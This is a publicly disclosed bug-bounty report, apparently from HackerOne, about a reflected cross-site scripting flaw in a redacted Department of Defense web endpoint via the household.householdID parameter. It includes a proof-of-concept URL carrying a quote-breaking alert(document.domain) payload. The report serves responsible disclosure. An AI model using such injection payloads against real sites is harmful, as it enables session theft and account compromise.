U.S. Dept Of Defense · Report #484905

XSS Reflected

Validstatus

mediumseverity

3upvotes

27 May 2020disclosed

How it was found

Hi Team ,

I found that https://████████/████/household/updateProfileInfo.action has vulnerability by XSS Reflected in household.householdID parameter .

I can verify it with following URL: https://█████████/██████/household/updateProfileInfo.action?household.householdID=%27;alert(document.domain)//

XSS Reflected Attack

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original